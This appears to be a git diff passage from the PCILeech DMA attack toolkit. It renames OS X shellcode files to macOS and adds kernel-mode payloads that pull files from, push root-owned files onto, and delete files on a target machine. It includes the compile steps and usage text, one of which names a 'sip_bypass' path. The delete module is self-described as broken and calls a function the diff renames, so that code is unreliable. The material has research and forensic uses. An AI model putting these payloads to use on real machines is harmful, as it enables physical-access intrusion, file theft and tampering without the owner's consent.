0xf0000003 -#define STATUS_FAIL_INPPARAMS_BAD 0xf0000004 -#define STATUS_FAIL_ACTION 0xf0000005 - #endif /* __LX64_COMMON_H__ */ \ No newline at end of file diff --git a/pcileech_shellcode/lx64_filedelete.c b/pcileech_shellcode/lx64_filedelete.c index 9075d26..f4b31fd 100644 --- a/pcileech_shellcode/lx64_filedelete.c +++ b/pcileech_shellcode/lx64_filedelete.c @@ -8,7 +8,7 @@ // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_filedelete.c // ml64 lx64_common_a.asm /Felx64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_filedelete.obj lx64_common.obj -// shellcode64.exe -o lx64_filedelete.exe "DELETE FILES ON TARGET SYSTEM \nLINUX X64 EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to push file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================" +// shellcode64.exe -o lx64_filedelete.exe "DELETE FILE ON TARGET SYSTEM \nLINUX X64 EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to delete file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================" // #include "lx64_common.h" diff --git a/pcileech_shellcode/ax64_common.c b/pcileech_shellcode/macos_common.c similarity index 96% rename from pcileech_shellcode/ax64_common.c rename to pcileech_shellcode/macos_common.c index 0cc3ded..c043337 100644 --- a/pcileech_shellcode/ax64_common.c +++ b/pcileech_shellcode/macos_common.c @@ -1,11 +1,11 @@ -// ax64_common.c : support functions used by OS X KMDs started by stage3 EXEC. -// Compatible with OS X. +// macos_common.c : support functions used by macOS KMDs started by stage3 EXEC. +// Compatible with macOS. // // (c) Ulf Frisk, 2016 // Author: Ulf Frisk, pcileech@frizk.net // -#include "ax64_common.h" +#include "macos_common.h" //------------------------------------------------------------------------------- // EFI related defines below. diff --git a/pcileech_shellcode/ax64_common.h b/pcileech_shellcode/macos_common.h similarity index 85% rename from pcileech_shellcode/ax64_common.h rename to pcileech_shellcode/macos_common.h index a9c1b2b..0738ee2 100644 --- a/pcileech_shellcode/ax64_common.h +++ b/pcileech_shellcode/macos_common.h @@ -1,11 +1,13 @@ -// ax64_common.h : definitions of commonly used shellcode functions -// Compatible with OS X. +// macos_common.h : definitions of commonly used shellcode functions +// Compatible with macOS. // // Author: Ulf Frisk, pcileech@frizk.net // -#ifndef __AX64_COMMON_H__ -#define __AX64_COMMON_H__ +#ifndef __MACOS_COMMON_H__ +#define __MACOS_COMMON_H__ + +#include "statuscodes.h" typedef void VOID, *PVOID; typedef int BOOL, *PBOOL; @@ -25,7 +27,7 @@ typedef unsigned long STATUS; #define STATUS_FAIL_BASE 0xf0000000UL extern QWORD SysVCall(QWORD fn, ...); -extern QWORD LookupFunctionOSX(QWORD qwAddrKernelBase, CHAR szFunctionName[]); +extern QWORD LookupFunctionMacOS(QWORD qwAddrKernelBase, CHAR szFunctionName[]); extern VOID PageFlush(); extern QWORD GetCR3(); @@ -41,7 +43,7 @@ typedef struct tdPHYSICAL_MEMORY_RANGE { QWORD NumberOfBytes; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; -typedef struct tdFNOSX { // function pointers to OSX functions (used in main control program) +typedef struct tdFNMACOS { // function pointers to macOS functions (used in main control program) QWORD _kernel_map; QWORD _PE_state; QWORD IOFree; @@ -54,7 +56,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con QWORD memset; QWORD vm_protect; QWORD ReservedFutureUse[21]; -} FNOSX, *PFNOSX; +} FNMACOS, *PFNMACOS; /* * KMD DATA struct. This struct must be contained in a 4096 byte section (page). @@ -64,7 +66,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. @@ -86,7 +88,7 @@ typedef struct tdKMDDATA { QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] - FNOSX fn; // [0x300] used by shellcode to store function pointers. + FNMACOS fn; // [0x300] used by shellcode to store function pointers. CHAR dataInStr[MAX_PATH]; // [0x400] string in-data CHAR ReservedFutureUse2[252]; CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data @@ -95,15 +97,6 @@ typedef struct tdKMDDATA { QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) } KMDDATA, *PKMDDATA; -#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001 -#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002 -#define STATUS_FAIL_FILE_SIZE 0xf0000003 -#define STATUS_FAIL_INPPARAMS_BAD 0xf0000004 -#define STATUS_FAIL_ACTION 0xf0000005 -#define STATUS_FAIL_SIGNATURE_NOT_FOUND 0xf0000006 -#define STATUS_FAIL_OUTOFMEMORY 0xf0000007 -#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008 - //------------------------------------------------------------------------------- // Function definitions below. //------------------------------------------------------------------------------- @@ -147,4 +140,4 @@ QWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase); */ QWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges); -#endif /* __AX64_COMMON_H__ */ \ No newline at end of file +#endif /* __MACOS_COMMON_H__ */ \ No newline at end of file diff --git a/pcileech_shellcode/ax64_common_a.asm b/pcileech_shellcode/macos_common_a.asm similarity index 80% rename from pcileech_shellcode/ax64_common_a.asm rename to pcileech_shellcode/macos_common_a.asm index 4b8e193..cb8ac61 100644 --- a/pcileech_shellcode/ax64_common_a.asm +++ b/pcileech_shellcode/macos_common_a.asm @@ -1,5 +1,5 @@ -; ax64_common_a.asm : assembly to receive execution from stage3 exec command. -; Compatible with OS X. +; macos_common_a.asm : assembly to receive execution from stage3 exec command. +; Compatible with macOS. ; ; (c) Ulf Frisk, 2016 ; Author: Ulf Frisk, pcileech@frizk.net @@ -9,7 +9,7 @@ ; Prototypes ; ------------------------------------- main PROTO -LookupFunctionOSX PROTO +LookupFunctionMacOS PROTO SysVCall PROTO PageFlush PROTO GetCR3 PROTO @@ -128,7 +128,7 @@ macho_parse_find_symtab ENDP ; rdx -> rsi -> ptr to function name ; rax <- resulting address (zero if error) ; ---------------------------------------------------- -LookupFunctionOSX PROC +LookupFunctionMacOS PROC ; ecx = counter ; r8 = symtab_command address ; r9 = symbol_table_current address @@ -177,7 +177,7 @@ LookupFunctionOSX PROC POP rdi POP r10 RET -LookupFunctionOSX ENDP +LookupFunctionMacOS ENDP PageFlush PROC MOV rax, cr3 @@ -192,7 +192,8 @@ GetCR3 ENDP ; ------------------------------------------------------------------ ; Convert from the Windows X64 calling convention to the SystemV -; X64 calling convention used by Linux/OSX. +; X64 calling convention used by Linux. A maximum of twelve (12) +; parameters in addition to the function ptr can be supplied. ; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5); ; QWORD SysVCall(QWORD fn, ...); ; ------------------------------------------------------------------ @@ -200,19 +201,31 @@ SysVCall PROC MOV rax, rcx PUSH rdi PUSH rsi + PUSH r14 + PUSH r15 MOV rdi, rdx MOV rsi, r8 MOV rdx, r9 - MOV rcx, [rsp+28h+2*8+00h] ; 20h stack shadow space + 8h (RET) + 2*8h PUSH + xxh offset - MOV r8, [rsp+28h+2*8+08h] - MOV r9, [rsp+28h+2*8+10h] - PUSH r15 + MOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset + MOV r8, [rsp+28h+4*8+08h] + MOV r9, [rsp+28h+4*8+10h] MOV r15, rsp - AND rsp, 0FFFFFFFFFFFFFFF0h - SUB rsp, 020h + MOV r14, [rsp+28h+4*8+40h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+5*8+38h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+6*8+30h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+7*8+28h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+8*8+20h] ; 20h stack shadow space + 8h (RET) + 7*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+9*8+18h] ; 20h stack shadow space + 8h (RET) + 8*8h PUSH + xxh offset + PUSH r14 CALL rax MOV rsp, r15 POP r15 + POP r14 POP rsi POP rdi RET diff --git a/pcileech_shellcode/macos_filedelete.c b/pcileech_shellcode/macos_filedelete.c new file mode 100644 index 0000000..d32d4b0 --- /dev/null +++ b/pcileech_shellcode/macos_filedelete.c @@ -0,0 +1,159 @@ +// ax64_filedelete.c : kernel code to delete files on target system. +// Compatible with Apple OS X. +// +// TODO: THIS IS CURRENTLY BROKEN! FIX THIS!!! +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filedelete.c +// ml64.exe ax64_common_a.asm /Feax64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filedelete.obj ax64_common.obj +// shellcode64.exe -o ax64_filedelete.exe "DELETE FILES ON TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to push file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================" +// +#include "macos_common.h" + +#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB + +typedef struct tdFN2 { + QWORD vnode_lookup; + QWORD vnode_getparent; + QWORD vnode_parent; + QWORD vnode_put; + QWORD VNOP_READ; + QWORD VNOP_OPEN; + QWORD VNOP_REMOVE; + QWORD uio_addiov; + QWORD uio_resid; + QWORD vfs_context_current; + QWORD uio_create; + QWORD uio_free; + QWORD strlen; +} FN2, *PFN2; + +typedef struct componentname { + /* + * Arguments to lookup. + */ + DWORD cn_nameiop; /* lookup operation */ + DWORD cn_flags; /* flags (see below) */ +#ifdef BSD_KERNEL_PRIVATE + vfs_context_t cn_context; + struct nameidata *cn_ndp; /* pointer back to nameidata */ + + /* XXX use of these defines are deprecated */ +#define cn_proc (cn_context->vc_proc + 0) /* non-lvalue */ +#define cn_cred (cn_context->vc_ucred + 0) /* non-lvalue */ + +#else + void * cn_reserved1; /* use vfs_context_t */ + void * cn_reserved2; /* use vfs_context_t */ +#endif + /* + * Shared between lookup and commit routines. + */ + char *cn_pnbuf; /* pathname buffer */ + int cn_pnlen; /* length of allocated buffer */ + char *cn_nameptr; /* pointer to looked up name */ + int cn_namelen; /* length of looked up component */ + DWORD cn_hash; /* hash value of looked up name */ + DWORD cn_consume; /* chars to consume in lookup() */ +} COMPONENTNAME; + +BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { + pfn2->vnode_lookup = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 }); + pfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'a', 'r', 'e', 'n', 't', 0 }); + pfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'g', 'e', 't', 'p', 'a', 'r', 'e', 'n', 't', 0 }); + pfn2->vnode_put = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 }); + pfn2->VNOP_READ = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 }); + pfn2->VNOP_OPEN = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'O', 'P', 'E', 'N', 0 }); + pfn2->VNOP_REMOVE = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'M', 'O', 'V', 'E', 0 }); + pfn2->uio_addiov = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 }); + pfn2->uio_resid = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 }); + pfn2->vfs_context_current = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 }); + pfn2->uio_create = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 }); + pfn2->uio_free = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 }); + pfn2->strlen = LookupFunctionOSX(pk->qwAddrKernelBase, + (CHAR[]) { '_', 's', 't', 'r', 'l', 'e', 'n', 0 }); + for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) { + if(!((PQWORD)pfn2)[i]) { + return FALSE; + } + } + return TRUE; +} + +VOID c_EntryPoint(PKMDDATA pk) +{ + FN2 fn2; + DWORD status = 0; + QWORD vnode = 0, vnode_p = 0, vfs_current; + COMPONENTNAME cn; + if(!pk->dataInStr[0]) { + pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; + return; + } + if(!LookupFunctions2(pk, &fn2)) { + pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; + return; + } + SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); + vfs_current = SysVCall(fn2.vfs_context_current); + if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 2, &vnode, vfs_current)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + + + + + SysVCall(pk->fn.memset, &cn, 0, sizeof(COMPONENTNAME)); + cn.cn_nameiop = 2; // DELETE + cn.cn_flags = 0x00008000; // last with this pathname + cn.cn_reserved1 = vfs_current; + //cn.obsolete1 = (VOID*)vfs_current; + cn.cn_pnbuf = pk->dataInStr; + cn.cn_pnlen = sizeof(pk->dataInStr); + cn.cn_nameptr = cn.cn_pnbuf; + cn.cn_namelen = SysVCall(fn2.strlen, pk->dataInStr); + //cn.obsolete2 = vfs_current; + + //pk->dataOut[2] = SysVCall(fn2.vnode_getparent, vnode); + vnode_p = SysVCall(fn2.vnode_parent, vnode); + pk->dataOut[2] = vnode_p; + /*SysVCall(fn2.vnode_lookup, (CHAR[]) { '/', 'v', 'a', 'r', '/', 'r', 'o', 'o', 't', 0 }, 2, &vnode_p, vfs_current); + pk->dataOut[3] = vnode_p;*/ + + QWORD vnode_2 = 0; + pk->dataOut[4] = SysVCall(fn2.VNOP_OPEN, vnode_p, &vnode_2, &cn, vfs_current); + pk->dataOut[5] = vnode_2; + + + if(SysVCall(fn2.VNOP_REMOVE, vnode_p, vnode, &cn, 0, vfs_current)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + status = 0x777; + +error: + if(vnode) { + SysVCall(fn2.vnode_put, vnode); + } + if(vnode_p) { + SysVCall(fn2.vnode_put, vnode_p); + } + pk->dataOut[0] = status; +} \ No newline at end of file diff --git a/pcileech_shellcode/macos_filepull.c b/pcileech_shellcode/macos_filepull.c new file mode 100644 index 0000000..c87f96e --- /dev/null +++ b/pcileech_shellcode/macos_filepull.c @@ -0,0 +1,86 @@ +// macos_filepull.c : kernel code to pull files from target system. +// Compatible with Apple macOS. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +// Inspired by: http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_filepull.c +// ml64.exe macos_common_a.asm /Femacos_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_filepull.obj macos_common.obj +// shellcode64.exe -o macos_filepull.exe "PULL FILES FROM TARGET SYSTEM \nAPPLE macOS EDITION \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\hosts' \n -s : file on target system. \n Example: '-s /etc/hosts' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n" +// +#include "macos_common.h" + +typedef struct tdFN2 { + QWORD vnode_lookup; + QWORD vnode_put; + QWORD VNOP_READ; + QWORD uio_addiov; + QWORD uio_resid; + QWORD vfs_context_current; + QWORD uio_create; + QWORD uio_free; +} FN2, *PFN2; + +BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { + QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 }; + for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) { + pfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]); + if(!pfn_qw[i]) { return FALSE; } + } + return TRUE; +} + +VOID c_EntryPoint(PKMDDATA pk) +{ + FN2 fn2; + DWORD status = 0; + QWORD uio = 0, vnode = 0, vfs_current; + if(!pk->dataInStr[0]) { + pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; + return; + } + if(!LookupFunctions2(pk, &fn2)) { + pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; + return; + } + SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); + vfs_current = SysVCall(fn2.vfs_context_current); + if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 0, &vnode, vfs_current)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 0 /* read */); + if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio); + if(pk->dataOutExtraLength == pk->dataOutExtraLengthMax) { + status = STATUS_FAIL_FILE_SIZE; + goto error; + } +error: + if(uio) { + SysVCall(fn2.uio_free, uio); + } + if(vnode) { + SysVCall(fn2.vnode_put, vnode); + } + pk->dataOut[0] = status; +} \ No newline at end of file diff --git a/pcileech_shellcode/macos_filepush.c b/pcileech_shellcode/macos_filepush.c new file mode 100644 index 0000000..4f7c206 --- /dev/null +++ b/pcileech_shellcode/macos_filepush.c @@ -0,0 +1,79 @@ +// macos_filepush.c : kernel code to push files to target system. +// Compatible with Apple macOS. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_filepush.c +// ml64.exe macos_common_a.asm /Femacos_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_filepush.obj macos_common.obj +// shellcode64.exe -o macos_filepush.exe "PUSH FILES TO TARGET SYSTEM \nAPPLE macOS EDITION \n===============================================================\nPush a file from the local system to the target system. \nWARNING! Existing files will be overwritten! \n* Files created will be created with root/wheel as owner/group \n and get the access mask specified in the -0 parameter. \n* Files overwritten will keep the access mask and owner/group. \nREQUIRED OPTIONS: \n -in : file to push to target system from this system. \n filename is given in normal format. \n Example: '-in c:\temp\random.txt' \n -s : file on target system. \n Example: '-s /System/Library/Kernels/sip_bypass' \n -0 : file access mask in HEXADECIMAL OR DECIMAL FORMAT! \n NB! linux file masks are ususally typed in octal - \n -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex) \n -rwxrwxrwx 777 (oct) = 511 (decimal) = 0x1ff (hex) \n Example: '-0 0x1ff' \n -1 : run flag - set to non zero to push file. \n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n" +// +#include "macos_common.h" + +#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB + +typedef struct tdFN2 { + QWORD vnode_open; + QWORD vnode_close; + QWORD VNOP_WRITE; + QWORD uio_addiov; + QWORD uio_create; + QWORD uio_free; + QWORD vfs_context_current; +} FN2, *PFN2; + +BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { + QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 }; + for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) { + pfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]); + if(!pfn_qw[i]) { return FALSE; } + } + return TRUE; +} + +VOID c_EntryPoint(PKMDDATA pk) +{ + FN2 fn2; + DWORD status = 0; + QWORD uio = 0, vnode = 0, vfs_current; + if(!pk->dataInStr[0] || !pk->dataIn[0]) { + pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; + return; + } + if(!LookupFunctions2(pk, &fn2)) { + pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; + return; + } + SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); + vfs_current = SysVCall(fn2.vfs_context_current); + if(SysVCall(fn2.vnode_open, pk->dataInStr, 0x0602 /* WRITE|CREATE|TRUNCATE */, pk->dataIn[0], 0, &vnode, vfs_current)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 1 /* write */); + if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataInExtraOffset, pk->dataInExtraLength)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } + if(SysVCall(fn2.VNOP_WRITE, vnode, uio, 0, vfs_current)) { + status = STATUS_FAIL_FILE_CANNOT_OPEN; + goto error; + } +error: + if(uio) { + SysVCall(fn2.uio_free, uio); + } + if(vnode) { + SysVCall(fn2.vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); + } + pk->dataOut[0] = status; +} \ No newline at end of file diff --git a/pcileech_shellcode/ax64_info.txt b/pcileech_shellcode/macos_info.txt similarity index 55% rename from pcileech_shellcode/ax64_info.txt rename to pcileech_shellcode/macos_info.txt index 7629332..1e39874 100644 --- a/pcileech_shellcode/ax64_info.txt +++ b/pcileech_shellcode/macos_info.txt @@ -1,4 +1,4 @@ -# compile instructions for the OS X kernel module code +# compile instructions for the MacOS kernel module code # #================================ STAGE 1 ================================ # @@ -11,18 +11,18 @@ shellcode64.exe -o wx64_stage1.exe #================================ STAGE 2 ================================ # # COMPILE ASM TO EXE -ml64 ax64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main +ml64 macos_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main # -# EXTRACT SHELLCODE (shellcode saved as ax64_stage2.bin, c-ify by xxd -i ax64_stage2.bin) -shellcode64.exe -o ax64_stage2.exe +# EXTRACT SHELLCODE (shellcode saved as macos_stage2.bin, c-ify by xxd -i macos_stage2.bin) +shellcode64.exe -o macos_stage2.exe # #================================ STAGE 3 ================================ # # COMPILE C CODE TO OBJ FILE -cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_stage3_c.c +cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_stage3_c.c # # COMPILE ASM AND LINK C OBJ FILE TO EXE -ml64 ax64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "ax64_stage3_c.obj" +ml64 macos_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "macos_stage3_c.obj" # -# EXTRACT SHELLCODE (shellcode saved as ax64_stage3.bin, c-ify by xxd -i ax64_stage3.bin) -shellcode64.exe -o ax64_stage3.exe \ No newline at end of file +# EXTRACT SHELLCODE (shellcode saved as macos_stage3.bin, c-ify by xxd -i macos_stage3.bin) +shellcode64.exe -o macos_stage3.exe \ No newline at end of file diff --git a/pcileech_shellcode/ax64_stage2.asm b/pcileech_shellcode/macos_stage2.asm similarity index 100% rename from pcileech_shellcode/ax64_stage2.asm rename to pcileech_shellcode/macos_stage2.asm diff --git a/pcileech_shellcode/ax64_stage3.asm b/pcileech_shellcode/macos_stage3.asm similarity index 100% rename from pcileech_shellcode/ax64_stage3.asm rename to pcileech_shellcode/macos_stage3.asm diff --git a/pcileech_shellcode/ax64_stage3_c.c b/pcileech_shellcode/macos_stage3_c.c similarity index 98% rename from pcileech_shellcode/ax64_stage3_c.c rename to pcileech_shellcode/macos_stage3_c.c index a0a554a..9de389b 100644 --- a/pcileech_shellcode/ax64_stage3_c.c +++ b/pcileech_shellcode/macos_stage3_c.c @@ -100,7 +100,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con QWORD ReservedFutureUse[21]; } FNOSX, *PFNOSX; -#define KMDDATA_OPERATING_SYSTEM_OSX 0x03 